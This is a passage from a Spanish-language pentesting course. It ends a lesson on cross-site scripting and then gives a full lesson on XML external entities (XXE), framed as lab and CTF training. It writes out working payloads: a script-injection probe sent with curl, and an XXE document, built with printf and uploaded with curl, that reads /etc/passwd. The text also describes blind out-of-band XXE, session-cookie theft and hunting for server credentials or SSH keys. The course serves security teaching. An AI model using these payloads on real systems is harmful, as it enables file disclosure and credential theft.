La primera prueba es `curl -sS "$URL/search?q=<script>alert(1)</script>"`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

Un diálogo de alerta ejecutándose en el navegador (o `console.log` visible en devtools) confirma que tu HTML/JS se interpreta, no se muestra como texto.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Identifica donde se refleja o almacena tu entrada viendo el HTML fuente (no solo lo que se ve renderizado).
- Prueba un payload mínimo de detección (`<script>alert(1)</script>`); si se filtra, prueba variantes (atributos de evento, distintas etiquetas).
- Distingue el tipo: si el payload va en la URL y se refleja al momento, es reflejado; si persiste tras recargar o lo ve otro usuario, es almacenado.
- En un CTF/lab, el impacto típico es robar la cookie de sesión de otro usuario o forzar una acción en su nombre.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- La app escapa los caracteres especiales (`<` se convierte en `<`) antes de insertar tu texto: aparece como texto literal, no se ejecuta.

- Un Content-Security-Policy estricto bloquea la ejecución de scripts inline, incluso si el HTML se inyecta.
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

Tu entrada se inserta en el HTML/JS de la página sin escapar; un navegador que la visita ejecuta el JavaScript que tu pusiste. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y condiciones.
2. Identificar entrada, componente y permisos.

3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook \(xss\)](#)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

XML External Entity (XXE)

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

XML permite definir 'entidades' (variables de texto) en un DOCTYPE, incluidas entidades que cargan contenido EXTERNO (un fichero local o una URL). Si la app procesa XML que tu controlas y el parser no desactiva esas entidades externas, defines una que apunte a /etc/passwd y el parser te devuelve su contenido.

Muchos parsers XML traen la resolución de entidades externas activada POR DEFECTO por compatibilidad, y el programador no la desactiva explícitamente. El parser confía en que el XML que procesa es de confianza, pero si TU controlas el XML de entrada, controlas sus entidades.

Modelo mental

```
Entrada controlada -> transformaciones -> validación -> componente final
                    -> sink -> efecto observable -> decisión
```

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

Solo aplica cuando la app procesa XML que tu controlas: subida de ficheros XML/SVG/DOCX/XLSX, SOAP, SAML, o cualquier import que acepte XML. No aplica si la app solo usa JSON.

Cómo identificarla

- La app acepta subida o entrada de XML, SVG, SOAP, SAML o documentos Office (DOCX/XLSX usan XML internamente).
- El fichero XML que subes se procesa (parsea) en vez de guardarse tal cual.
- Errores de parser XML visibles en la respuesta ante un XML malformado.

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Sube un XML con una entidad que apunte a un fichero que sepas que existe (file:///etc/passwd) y mira si el contenido vuelve reflejado.

Evidencia esperada: El contenido de /etc/passwd aparece en la respuesta (XXE 'visible'). Si no se refleja nada, intenta un XXE ciego (out-of-band) apuntando la entidad a tu propio listener HTTP.

Construcción progresiva del payload

1. Reproduce una entrada válida.

2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
printf '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>' > xxe.xml
```

Objetivo y contexto: Construye el XML mínimo: declara una entidad externa 'xxe' que apunta a un fichero local, y la referencia dentro del documento.

Resultado esperado: El fichero xxe.xml listo para enviar. El contenido de /etc/passwd debería sustituir a &xxe; si el parser resuelve la entidad.

Capa 2: prueba documentada

```
curl -sS -X POST $URL/upload --data-binary @xxe.xml -H 'Content-Type: application/xml'
```

Objetivo y contexto: Envía el XML malicioso al endpoint que lo procesa. El Content-Type application/xml asegura que el servidor lo trate como XML y no como texto plano.

Resultado esperado: Si el parser es vulnerable, la respuesta contiene las líneas de /etc/passwd (root:x:0:0...) en vez de procesar el documento normalmente.

Anatomía de los payloads

La primera prueba es `printf '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>' > xxe.xml`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

El contenido de /etc/passwd aparece en la respuesta (XXE 'visible'). Si no se refleja nada, intenta un XXE ciego (out-of-band) apuntando la entidad a tu propio listener HTTP.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Confirma que el punto de entrada acepta y PROCESA XML (no solo lo almacena).
- Prueba una entidad local inocua (file:///etc/passwd en tu lab) para ver si se refleja el contenido.
- Si no hay reflexión, monta un XXE ciego: la entidad apunta a tu servidor HTTP/DNS y confirmas por el callback que llega.
- Con lectura de ficheros confirmada, busca configs con credenciales o claves SSH del servidor.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- La app solo acepta JSON o no procesa XML en ningún punto de entrada.
- El parser tiene DTD/entidades externas desactivadas (comportamiento por defecto en muchas librerías modernas parcheadas).
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

Un parser XML mal configurado resuelve entidades externas que tú defines, dejándote leer ficheros del servidor o hacer peticiones salientes. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y precondiciones.
2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook](#) (xxe)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.